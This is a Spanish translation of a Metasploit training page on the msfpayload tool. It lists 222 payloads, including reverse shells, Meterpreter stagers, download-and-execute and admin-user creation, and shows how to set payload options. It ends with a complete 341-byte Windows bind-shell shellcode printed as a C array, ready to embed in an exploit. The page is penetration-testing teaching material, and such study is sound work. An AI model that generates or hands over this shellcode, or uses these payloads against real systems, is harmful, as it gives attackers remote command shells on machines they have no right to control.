Msfpayload

De www.metasploit-es.com.ar

Msfpayload

msfpayload es una instancia de linea de comandos de Metasploit que se utiliza para generar y dar salida a los varios tipos de shellcode disponibles en Metasploit. El uso mas comun de esta herramienta es para la generacion de shellcode para un exploit que no este actualmente en Metasploit Framework o para probar los diferentes tipos de shellcode y opciones antes de finalizar un modulo.

Esta herramienta tiene muchas opciones diferentes y variables disponibles, pero es posible que no todas esten completamente acabadas, dada la limitada salida del banner de ayuda.

  root@bt:~# msfpayload -h
   Usage: /pentest/exploits/framework3/msfpayload []  [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar>
  OPTIONS:
   -h        Help banner
   -l        List available payloads


Como de poderosa puede ser esta herramienta puede verse al mostrar el gran numero de tipos diferentes de shellcode disponibles para ser personalizados para tu exploit especifico:

  root@bt:~# msfpayload -l
  Framework Payloads (222 total)
  ==============================
   Name                                             Description
   ----                                             -----------
   aix/ppc/shell_bind_tcp                           Listen for a connection and spawn a command shell
   aix/ppc/shell_find_port                          Spawn a shell on an established connection
   aix/ppc/shell_interact                           Simply execve /bin/sh (for inetd programs)
   aix/ppc/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
   bsd/sparc/shell_bind_tcp                         Listen for a connection and spawn a command shell
   bsd/sparc/shell_reverse_tcp                      Connect back to attacker and spawn a command shell
   bsd/x86/exec                                     Execute an arbitrary command
   bsd/x86/metsvc_bind_tcp                          Stub payload for interacting with a Meterpreter Service
   bsd/x86/metsvc_reverse_tcp                       Stub payload for interacting with a Meterpreter Service
   bsd/x86/shell/bind_tcp                           Listen for a connection, Spawn a command shell (staged)
   bsd/x86/shell/find_tag                           Use an established connection, Spawn a command shell (staged)
   bsd/x86/shell/reverse_tcp                        Connect back to the attacker, Spawn a command shell (staged)
   bsd/x86/shell_bind_tcp                           Listen for a connection and spawn a command shell
   bsd/x86/shell_find_port                          Spawn a shell on an established connection
   bsd/x86/shell_find_tag                           Spawn a shell on an established connection (proxy/nat safe)
   bsd/x86/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
   bsdi/x86/shell/bind_tcp                          Listen for a connection, Spawn a command shell (staged)
   bsdi/x86/shell/reverse_tcp                       Connect back to the attacker, Spawn a command shell (staged)
   bsdi/x86/shell_bind_tcp                          Listen for a connection and spawn a command shell
   bsdi/x86/shell_find_port                         Spawn a shell on an established connection
   bsdi/x86/shell_reverse_tcp                       Connect back to attacker and spawn a command shell
   cmd/unix/bind_inetd                              Listen for a connection and spawn a command shell (persistent)
   cmd/unix/bind_netcat                             Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_perl                               Listen for a connection and spawn a command shell via perl
   cmd/unix/bind_ruby                               Continually listen for a connection and spawn a command shell via Ruby
   cmd/unix/generic                                 Executes the supplied command
   cmd/unix/interact                                Interacts with a shell on an established socket connection
   cmd/unix/reverse                                 Creates an interactive shell through two inbound connections
   cmd/unix/reverse_bash                            
Creates an interactive shell via bash's builtin /dev/tcp.
This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
   cmd/unix/reverse_netcat                          Creates an interactive shell via netcat
   cmd/unix/reverse_perl                            Creates an interactive shell via perl
   cmd/unix/reverse_ruby                            Connect back and create a command shell via Ruby
   cmd/windows/adduser                              Create a new user and add them to local administration group
   cmd/windows/bind_perl                            Listen for a connection and spawn a command shell via perl (persistent)
   cmd/windows/bind_ruby                            Continually listen for a connection and spawn a command shell via Ruby
   cmd/windows/download_exec_vbs                    Download an EXE from an HTTP(S) URL and execute it
   cmd/windows/reverse_perl                         Creates an interactive shell via perl
   cmd/windows/reverse_ruby                         Connect back and create a command shell via Ruby
   generic/debug_trap                               Generate a debug trap in the target process
   generic/shell_bind_tcp                           Listen for a connection and spawn a command shell
   generic/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
   generic/tight_loop                               Generate a tight loop in the target process
   java/jsp_shell_bind_tcp                          Listen for a connection and spawn a command shell
   java/jsp_shell_reverse_tcp                       Connect back to attacker and spawn a command shell
   java/meterpreter/bind_tcp                        Listen for a connection, Run a meterpreter server in Java
   java/meterpreter/reverse_tcp                     Connect back stager, Run a meterpreter server in Java
   java/shell/bind_tcp                              Listen for a connection, Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)
   java/shell/reverse_tcp                           Connect back stager, Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else)
   linux/armle/adduser                              Create a new user with UID 0
   linux/armle/exec                                 Execute an arbitrary command
   linux/armle/shell_reverse_tcp                    Connect back to attacker and spawn a command shell
   linux/mipsbe/shell_reverse_tcp                   Connect back to attacker and spawn a command shell
   linux/mipsle/shell_reverse_tcp                   Connect back to attacker and spawn a command shell
   linux/ppc/shell_bind_tcp                         Listen for a connection and spawn a command shell
   linux/ppc/shell_find_port                        Spawn a shell on an established connection
   linux/ppc/shell_reverse_tcp                      Connect back to attacker and spawn a command shell
   linux/ppc64/shell_bind_tcp                       Listen for a connection and spawn a command shell
   linux/ppc64/shell_find_port                      Spawn a shell on an established connection
   linux/ppc64/shell_reverse_tcp                    Connect back to attacker and spawn a command shell
   linux/x64/exec                                   Execute an arbitrary command
   linux/x64/shell/bind_tcp                         Listen for a connection, Spawn a command shell (staged)
   linux/x64/shell/reverse_tcp                      Connect back to the attacker, Spawn a command shell (staged)
   linux/x64/shell_bind_tcp                         Listen for a connection and spawn a command shell
   linux/x64/shell_reverse_tcp                      Connect back to attacker and spawn a command shell
   linux/x86/adduser                                Create a new user with UID 0
   linux/x86/chmod                                  Runs chmod on specified file with specified mode
   linux/x86/exec                                   Execute an arbitrary command
   linux/x86/meterpreter/bind_ipv6_tcp              Listen for a connection over IPv6, Staged meterpreter server
   linux/x86/meterpreter/bind_tcp                   Listen for a connection, Staged meterpreter server
   linux/x86/meterpreter/find_tag                   Use an established connection, Staged meterpreter server
   linux/x86/meterpreter/reverse_ipv6_tcp           Connect back to attacker over IPv6, Staged meterpreter server
   linux/x86/meterpreter/reverse_tcp                Connect back to the attacker, Staged meterpreter server
   linux/x86/metsvc_bind_tcp                        Stub payload for interacting with a Meterpreter Service
   linux/x86/metsvc_reverse_tcp                     Stub payload for interacting with a Meterpreter Service
   linux/x86/shell/bind_ipv6_tcp                    Listen for a connection over IPv6, Spawn a command shell (staged)
   linux/x86/shell/bind_tcp                         Listen for a connection, Spawn a command shell (staged)
   linux/x86/shell/find_tag                         Use an established connection, Spawn a command shell (staged)
   linux/x86/shell/reverse_ipv6_tcp                 Connect back to attacker over IPv6, Spawn a command shell (staged)
   linux/x86/shell/reverse_tcp                      Connect back to the attacker, Spawn a command shell (staged)
   linux/x86/shell_bind_ipv6_tcp                    Listen for a connection over IPv6 and spawn a command shell
   linux/x86/shell_bind_tcp                         Listen for a connection and spawn a command shell
   linux/x86/shell_find_port                        Spawn a shell on an established connection
   linux/x86/shell_find_tag                         Spawn a shell on an established connection (proxy/nat safe)
   linux/x86/shell_reverse_tcp                      Connect back to attacker and spawn a command shell
   linux/x86/shell_reverse_tcp2                     Connect back to attacker and spawn a command shell
   netware/shell/reverse_tcp                        Connect back to the attacker, Connect to the NetWare console (staged)
   osx/armle/execute/bind_tcp                       Listen for a connection, Spawn a command shell (staged)
   osx/armle/execute/reverse_tcp                    Connect back to the attacker, Spawn a command shell (staged)
   osx/armle/shell/bind_tcp                         Listen for a connection, Spawn a command shell (staged)
   osx/armle/shell/reverse_tcp                      Connect back to the attacker, Spawn a command shell (staged)
   osx/armle/shell_bind_tcp                         Listen for a connection and spawn a command shell
   osx/armle/shell_reverse_tcp                      Connect back to attacker and spawn a command shell
   osx/armle/vibrate                                
Causes the iPhone to vibrate, only works when the AudioToolkit library has been loaded. Based on work by Charlie Miller .
   osx/ppc/shell/bind_tcp                           Listen for a connection, Spawn a command shell (staged)
   osx/ppc/shell/find_tag                           Use an established connection, Spawn a command shell (staged)
   osx/ppc/shell/reverse_tcp                        Connect back to the attacker, Spawn a command shell (staged)
   osx/ppc/shell_bind_tcp                           Listen for a connection and spawn a command shell
   osx/ppc/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
   osx/x86/bundleinject/bind_tcp                    Listen, read length, read buffer, execute, Inject a custom Mach-O bundle into the exploited process
   osx/x86/bundleinject/reverse_tcp                 Connect, read length, read buffer, execute, Inject a custom Mach-O bundle into the exploited process
   osx/x86/exec                                     Execute an arbitrary command
   osx/x86/isight/bind_tcp                          Listen, read length, read buffer, execute, Inject a Mach-O bundle to capture a photo from the iSight (staged)
   osx/x86/isight/reverse_tcp                       Connect, read length, read buffer, execute, Inject a Mach-O bundle to capture a photo from the iSight (staged)
   osx/x86/shell_bind_tcp                           Listen for a connection and spawn a command shell
   osx/x86/shell_find_port                          Spawn a shell on an established connection
   osx/x86/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
   osx/x86/vforkshell/bind_tcp                      Listen, read length, read buffer, execute, Call vfork() if necessary and spawn a command shell (staged)
   osx/x86/vforkshell/reverse_tcp                   Connect, read length, read buffer, execute, Call vfork() if necessary and spawn a command shell (staged)
   osx/x86/vforkshell_bind_tcp                      Listen for a connection, vfork if necessary, and spawn a command shell
   osx/x86/vforkshell_reverse_tcp                   Connect back to attacker, vfork if necessary, and spawn a command shell
   php/bind_perl                                    Listen for a connection and spawn a command shell via perl (persistent)
   php/bind_php                                     Listen for a connection and spawn a command shell via php
   php/download_exec                                Download an EXE from an HTTP URL and execute it
   php/exec                                         Execute a single system command
   php/meterpreter/bind_tcp                         Listen for a connection, Run a meterpreter server in PHP
   php/meterpreter/reverse_tcp                      Reverse PHP connect back stager with checks for disabled functions, Run a meterpreter server in PHP
   php/meterpreter_reverse_tcp                      Connect back to attacker and spawn a Meterpreter server (PHP)
   php/reverse_perl                                 Creates an interactive shell via perl
   php/reverse_php                                  Reverse PHP connect back shell with checks for disabled functions
   php/shell_findsock                               
Spawn a shell on the established connection to the webserver.  Unfortunately, this payload can leave conspicuous evil-looking entries in the
apache error logs, so it is probably a good idea to use a bind or reverse shell unless firewalls prevent them from working.  The issue this
payload takes advantage of (CLOEXEC flag not set on sockets) appears to have been patched on the Ubuntu version of Apache and may not work on
other Debian-based distributions.  Only tested on Apache but it might work on other web servers that leak file descriptors to child processes.
   solaris/sparc/shell_bind_tcp                     Listen for a connection and spawn a command shell
   solaris/sparc/shell_find_port                    Spawn a shell on an established connection
   solaris/sparc/shell_reverse_tcp                  Connect back to attacker and spawn a command shell
   solaris/x86/shell_bind_tcp                       Listen for a connection and spawn a command shell
   solaris/x86/shell_find_port                      Spawn a shell on an established connection
   solaris/x86/shell_reverse_tcp                    Connect back to attacker and spawn a command shell
   tty/unix/interact                                Interacts with a TTY on an established socket connection
   windows/adduser                                  Create a new user and add them to local administration group
   windows/dllinject/bind_ipv6_tcp                  Listen for a connection over IPv6, Inject a Dll via a reflective loader
   windows/dllinject/bind_nonx_tcp                  Listen for a connection (No NX), Inject a Dll via a reflective loader
   windows/dllinject/bind_tcp                       Listen for a connection, Inject a Dll via a reflective loader
   windows/dllinject/find_tag                       Use an established connection, Inject a Dll via a reflective loader
   windows/dllinject/reverse_http                   Tunnel communication over HTTP using IE 6, Inject a Dll via a reflective loader
   windows/dllinject/reverse_ipv6_tcp               Connect back to the attacker over IPv6, Inject a Dll via a reflective loader
   windows/dllinject/reverse_nonx_tcp               Connect back to the attacker (No NX), Inject a Dll via a reflective loader
   windows/dllinject/reverse_ord_tcp                Connect back to the attacker, Inject a Dll via a reflective loader
   windows/dllinject/reverse_tcp                    Connect back to the attacker, Inject a Dll via a reflective loader
   windows/dllinject/reverse_tcp_allports           Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject a Dll via a reflective loader
   windows/dllinject/reverse_tcp_dns                Connect back to the attacker, Inject a Dll via a reflective loader
   windows/download_exec                            Download an EXE from an HTTP URL and execute it
   windows/exec                                     Execute an arbitrary command
   windows/messagebox                               Spawns a dialog via MessageBox using a customizable title, text & icon
   windows/meterpreter/bind_ipv6_tcp                Listen for a connection over IPv6, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/bind_nonx_tcp                Listen for a connection (No NX), Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/bind_tcp                     Listen for a connection, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/find_tag                     Use an established connection, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/reverse_http                 Tunnel communication over HTTP using IE 6, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/reverse_https                Tunnel communication over HTTP using SSL, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/reverse_ipv6_tcp             Connect back to the attacker over IPv6, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/reverse_nonx_tcp             Connect back to the attacker (No NX), Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/reverse_ord_tcp              Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/reverse_tcp                  Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/reverse_tcp_allports         Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/meterpreter/reverse_tcp_dns              Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)
   windows/metsvc_bind_tcp                          Stub payload for interacting with a Meterpreter Service
   windows/metsvc_reverse_tcp                       Stub payload for interacting with a Meterpreter Service
   windows/patchupdllinject/bind_ipv6_tcp           Listen for a connection over IPv6, Inject a custom DLL into the exploited process
   windows/patchupdllinject/bind_nonx_tcp           Listen for a connection (No NX), Inject a custom DLL into the exploited process
   windows/patchupdllinject/bind_tcp                Listen for a connection, Inject a custom DLL into the exploited process
   windows/patchupdllinject/find_tag                Use an established connection, Inject a custom DLL into the exploited process
   windows/patchupdllinject/reverse_ipv6_tcp        Connect back to the attacker over IPv6, Inject a custom DLL into the exploited process
   windows/patchupdllinject/reverse_nonx_tcp        Connect back to the attacker (No NX), Inject a custom DLL into the exploited process
   windows/patchupdllinject/reverse_ord_tcp         Connect back to the attacker, Inject a custom DLL into the exploited process
   windows/patchupdllinject/reverse_tcp             Connect back to the attacker, Inject a custom DLL into the exploited process
   windows/patchupdllinject/reverse_tcp_allports    Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject a custom DLL into the exploited process
   windows/patchupdllinject/reverse_tcp_dns         Connect back to the attacker, Inject a custom DLL into the exploited process
   windows/patchupmeterpreter/bind_ipv6_tcp         Listen for a connection over IPv6, Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/bind_nonx_tcp         Listen for a connection (No NX), Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/bind_tcp              Listen for a connection, Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/find_tag              Use an established connection, Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/reverse_ipv6_tcp      Connect back to the attacker over IPv6, Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/reverse_nonx_tcp      Connect back to the attacker (No NX), Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/reverse_ord_tcp       Connect back to the attacker, Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/reverse_tcp           Connect back to the attacker, Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/reverse_tcp_allports  Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject the meterpreter server DLL (staged)
   windows/patchupmeterpreter/reverse_tcp_dns       Connect back to the attacker, Inject the meterpreter server DLL (staged)
   windows/shell/bind_ipv6_tcp                      Listen for a connection over IPv6, Spawn a piped command shell (staged)
   windows/shell/bind_nonx_tcp                      Listen for a connection (No NX), Spawn a piped command shell (staged)
   windows/shell/bind_tcp                           Listen for a connection, Spawn a piped command shell (staged)
   windows/shell/find_tag                           Use an established connection, Spawn a piped command shell (staged)
   windows/shell/reverse_http                       Tunnel communication over HTTP using IE 6, Spawn a piped command shell (staged)
   windows/shell/reverse_ipv6_tcp                   Connect back to the attacker over IPv6, Spawn a piped command shell (staged)
   windows/shell/reverse_nonx_tcp                   Connect back to the attacker (No NX), Spawn a piped command shell (staged)
   windows/shell/reverse_ord_tcp                    Connect back to the attacker, Spawn a piped command shell (staged)
   windows/shell/reverse_tcp                        Connect back to the attacker, Spawn a piped command shell (staged)
   windows/shell/reverse_tcp_allports               Try to connect back to the attacker, on all possible ports (1-65535, slowly), Spawn a piped command shell (staged)
   windows/shell/reverse_tcp_dns                    Connect back to the attacker, Spawn a piped command shell (staged)
   windows/shell_bind_tcp                           Listen for a connection and spawn a command shell
   windows/shell_bind_tcp_xpfw                      Disable the Windows ICF, then listen for a connection and spawn a command shell
   windows/shell_reverse_tcp                        Connect back to attacker and spawn a command shell
   windows/speak_pwned                              Causes the target to say "You Got Pwned" via the Windows Speech API
   windows/upexec/bind_ipv6_tcp                     Listen for a connection over IPv6, Uploads an executable and runs it (staged)
   windows/upexec/bind_nonx_tcp                     Listen for a connection (No NX), Uploads an executable and runs it (staged)
   windows/upexec/bind_tcp                          Listen for a connection, Uploads an executable and runs it (staged)
   windows/upexec/find_tag                          Use an established connection, Uploads an executable and runs it (staged)
   windows/upexec/reverse_http                      Tunnel communication over HTTP using IE 6, Uploads an executable and runs it (staged)
   windows/upexec/reverse_ipv6_tcp                  Connect back to the attacker over IPv6, Uploads an executable and runs it (staged)
   windows/upexec/reverse_nonx_tcp                  Connect back to the attacker (No NX), Uploads an executable and runs it (staged)
   windows/upexec/reverse_ord_tcp                   Connect back to the attacker, Uploads an executable and runs it (staged)
   windows/upexec/reverse_tcp                       Connect back to the attacker, Uploads an executable and runs it (staged)
   windows/upexec/reverse_tcp_allports              Try to connect back to the attacker, on all possible ports (1-65535, slowly), Uploads an executable and runs it (staged)
   windows/upexec/reverse_tcp_dns                   Connect back to the attacker, Uploads an executable and runs it (staged)
   windows/vncinject/bind_ipv6_tcp                  Listen for a connection over IPv6, Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/bind_nonx_tcp                  Listen for a connection (No NX), Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/bind_tcp                       Listen for a connection, Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/find_tag                       Use an established connection, Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/reverse_http                   Tunnel communication over HTTP using IE 6, Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/reverse_ipv6_tcp               Connect back to the attacker over IPv6, Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/reverse_nonx_tcp               Connect back to the attacker (No NX), Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/reverse_ord_tcp                Connect back to the attacker, Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/reverse_tcp                    Connect back to the attacker, Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/reverse_tcp_allports           Try to connect back to the attacker, on all possible ports (1-65535, slowly), Inject a VNC Dll via a reflective loader (staged)
   windows/vncinject/reverse_tcp_dns                Connect back to the attacker, Inject a VNC Dll via a reflective loader (staged)
   windows/x64/exec                                 Execute an arbitrary command (Windows x64)
   windows/x64/meterpreter/bind_tcp                 Listen for a connection (Windows x64), Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged)
   windows/x64/meterpreter/reverse_tcp              Connect back to the attacker (Windows x64), Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged)
   windows/x64/shell/bind_tcp                       Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged)
   windows/x64/shell/reverse_tcp                    Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged)
   windows/x64/shell_bind_tcp                       Listen for a connection and spawn a command shell (Windows x64)
   windows/x64/shell_reverse_tcp                    Connect back to attacker and spawn a command shell (Windows x64)
   windows/x64/vncinject/bind_tcp                   Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)
   windows/x64/vncinject/reverse_tcp                Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)


Una vez que has seleccionado un payload, hay dos conmutadores que se utilizan mas a menudo al hacer a mano el payload para el exploit que estas creando. En el siguiente ejemplo hemos seleccionado una simple Windows bind shell. Cuando añadimos el argumento de linea de comandos "O" con ese payload, obtenemos todas las opciones configurables disponibles para ese payload.

  root@bt:~# msfpayload windows/shell_bind_tcp O
      Name: Windows Command Shell, Bind TCP Inline
    Module: payload/windows/shell_bind_tcp
   Version: 8642
  Platform: Windows
      Arch: x86
Needs Admin: No
Total size: 341
      Rank: Normal
Provided by:
 vlad902 
 sf 
  Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique: seh, thread, process, none
  LPORT     4444             yes       The listen port
  RHOST                      no        The target address
  Description:
 Listen for a connection and spawn a command shell


Tal como podemos ver en la salida, podemos configurar tres opciones diferentes con un payload especifico, en caso de que se requieran, si vienen con algun parametro definido por defecto, y una descripcion corta:

   EXITFUNC
       Required
       Default setting: process 
   LPORT
       Required
       Default setting: 4444 
   RHOST
       Not required
       No default setting 

Establecer esas opciones en msfpayload es muy simple. A continuacion mostramos un ejemplo de como cambiar la tecnica de salida y el puerto a la escucha de la shell:

  root@bt:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 O
      Name: Windows Command Shell, Bind TCP Inline
    Module: payload/windows/shell_bind_tcp
   Version: 8642
  Platform: Windows
      Arch: x86
Needs Admin: No
Total size: 341
      Rank: Normal
Provided by:
 vlad902 
 sf 
  Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  seh              yes       Exit technique: seh, thread, process, none
  LPORT     1234             yes       The listen port
  RHOST                      no        The target address
  Description:
 Listen for a connection and spawn a command shell

Ahora que todo eso esta configurado, la unica opcion que falta especificar es el tipo de salida como C, Perl, Raw, etc. Para este ejemplo vamos a definir la salida de nuestro shellcode como C:

  root@bt:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
  /*
   * windows/shell_bind_tcp - 341 bytes
   * http://www.metasploit.com
   * LPORT=1234, RHOST=, EXITFUNC=seh, InitialAutoRunScript=,
   * AutoRunScript=
   */
  unsigned char buf[] =
  "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
  "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
  "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
  "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
  "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
  "\x31\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68"
  "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5"
  "\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75"
  "\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
  "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01"
  "\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e"
  "\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56"
  "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xfe\x0e\x32\xea"
  "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
  "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";


¡Ahora ya tenemos nuestro shellcode totalmente personalizado para poderse utilizar en cualquier exploit!


© Offensive Security 2009

Original de www.offensive-security.com
Traducido por cbk999
Herramientas personales